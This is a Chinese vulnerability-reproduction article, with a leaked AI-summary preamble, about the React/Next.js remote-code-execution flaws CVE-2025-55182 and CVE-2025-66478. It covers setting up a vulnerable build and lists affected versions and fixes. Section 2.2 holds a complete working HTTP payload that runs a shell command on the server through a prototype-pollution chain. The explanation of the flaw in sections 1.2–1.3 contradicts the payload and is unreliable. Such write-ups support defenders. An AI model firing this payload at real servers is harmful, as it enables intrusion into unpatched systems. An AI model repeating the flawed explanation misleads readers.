漏洞复现:React Next.js 远程命令执行漏洞(CVE-2025-55182 CVE-2025-66478)复现
好的,我现在需要帮用户总结一篇文章的内容,控制在100字以内,而且不需要特定的开头。首先,我得仔细阅读用户提供的文章内容,了解其主要信息。 文章主要讲的是React和Next.js中的两个漏洞,CVE-2025-55182和CVE-2025-66478。这两个漏洞分别影响React的服务端渲染模块和Next.js的API路由。攻击者可以通过构造恶意参数,触发服务端代码执行,实现远程命令执行。漏洞的危害很大,CVSS评分满分。 接下来,我需要找出关键点:漏洞名称、影响范围、攻击方式、危害程度以及修复建议。然后把这些信息浓缩到100字以内。 要注意用词简洁明了,避免技术术语过多,让用户容易理解。同时,确保不遗漏重要信息,比如修复版本和升级命令。 最后,检查字数是否符合要求,并调整句子结构以确保流畅自然。 </think> React和Next.js存在高危漏洞(CVE-2025-55182/CVE-2025-66478),攻击者可通过构造恶意参数触发服务端代码执行。漏洞影响广泛且危害极大(CVSS满分),需及时升级至修复版本以避免远程攻击风险。 2025-12-9 11:49:28 Author: www.freebuf.com(查看原文) 阅读量:2 收藏

一、漏洞介绍

1.1、React/Next.js简介

React(React.js/React Native)是由Meta(原Facebook)开发并维护的开源JavaScript前端库,核心目标是构建高效、可复用的用户界面(UI),尤其适配单页应用(SPA)开发,是当前前端生态最主流的UI库之一。

Next.js是基于React的开源服务端渲染(SSR)框架,由Vercel开发维护,核心目标是解决React原生SPA的SEO差、首屏加载慢等痛点,同时提供企业级工程化能力,是React生态中最主流的服务端渲染框架。

1.2、CVE-2025-55182(React侧核心漏洞)

漏洞存在于React服务端渲染(SSR)模块的renderToString/renderToPipeableStream等核心函数中,对用户可控的props参数与URL查询参数缺乏严格的类型校验和代码注入过滤。攻击者可构造包含恶意JavaScript代码片段的特殊参数,当React服务端解析渲染组件时,该恶意代码会突破沙箱限制,直接在Node.js运行环境中执行,而非仅在前端浏览器上下文运行。

1.3、CVE-2025-66478(Next.js侧放大漏洞)

Next.js作为基于React的框架,其API路由(pages/api/app/api)未对传入的req.query/req.body参数做二次安全校验,且部分内置中间件(如next-auth集成模块)存在权限绕过逻辑。该漏洞会放大CVE-2025-55182的危害:攻击者无需突破React的基础防护,即可通过Next.js的API路由直接将恶意命令传递至React SSR渲染流程,跳过前端过滤环节,直接触发服务端代码执行。

两个漏洞结合之后,攻击者可以实现"无交互"远程命令执行,不需要诱导用户进行操作,只需要向目标服务发送恶意的HTTP POST请求即可触发,正是因为其利用难度低、影响范围广、危害程度大,故其CVSS评分10分满分

1.4、风险排除条件(不会触发漏洞的场景)

(1)Next.js应用仅使用静态生成(SSG)模式,无SSR/API Routes/Server Components。
(2)所有用户输入均经过严格过滤(如移除shell元字符、使用child_process.spawn()且shell: false)。
(3)Next.js进程运行在严格沙箱中(如仅允许读取静态文件,无执行系统命令权限)。
(4)漏洞触发点做了强权限控制(如仅内网管理员可访问,攻击者无法触达)。
(5)Next.js版本升级至官方修复漏洞的版本。

二、漏洞复现

2.1、下载并运行漏洞环境

下载存在漏洞的版本环境,这里选择一个存在漏洞的版本即可(我这里下载的是16.0.5):

npm create [email protected] react -y

切换到下载的目录:
cd react

运行对应环境(注意以管理员权限运行):
npm run dev

访问页面查看是否能够正常访问:

2.2、使用POC进行攻击

POST / HTTP/1.1
Host: xxx.xxx.xxx.xxx:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----Boundary
Content-Length: 607

------Boundary
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=encodeURIComponent(process.mainModule.require('child_process').execSync('whoami').toString().trim());;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------Boundary
Content-Disposition: form-data; name="1"

"$@0"
------Boundary
Content-Disposition: form-data; name="2"

[]
------Boundary--

注意上述请求中使用了encodeURIComponent()对回传数据进行了URI编码,以避免因为解析问题导致无法获取到回传结果:

由上述两张图片可以看到漏洞复现成功

三、影响产品及版本

目前以下产品及版本会受到上述漏洞影响

React 19.0
19.1.0 <= React < 19.1.2
React == 19.2.0

14.3.0-canary.77 <= Next.js < 15.0.5
15.1.0 <= Next.js < 15.1.9
15.2.0 <= Next.js < 15.2.6
15.3.0 <= Next.js < 15.3.6
15.4.0 <= Next.js < 15.4.8
15.5.0 <= Next.js < 15.5.7
16.0.0 <= Next.js < 16.0.7

四、相关技术建议

4.1、React

官方已经发布漏洞修复补丁及版本,请受影响的系统尽快升级到漏洞修复版本:

React 19.0.1

React 19.1.2

React 19.2.1

升级命令:

npm install react@latest react-dom@latest

4.2、Next.js

Next.js框架已发布最新版本修复该漏洞,请受影响用户更新到以下版本:

Next.js 15.0.5
Next.js 15.1.9
Next.js 15.2.6
Next.js 15.3.6
Next.js 15.4.8
Next.js 15.5.7
Next.js 16.0.7

升级命令:

npm install next@版本号

免责声明

作者仅对本文章内容的技术研究性进行陈述,不对读者使用本文内容所产生的任何直接或间接后果承担责任。因读者违反法律法规、未经授权使用相关技术导致的法律责任、经济损失、民事纠纷等,均由读者自行承担全部责任,与作者、发布平台无关。


文章来源: https://www.freebuf.com/articles/vuls/461169.html
如有侵权请联系:admin#unsafe.sh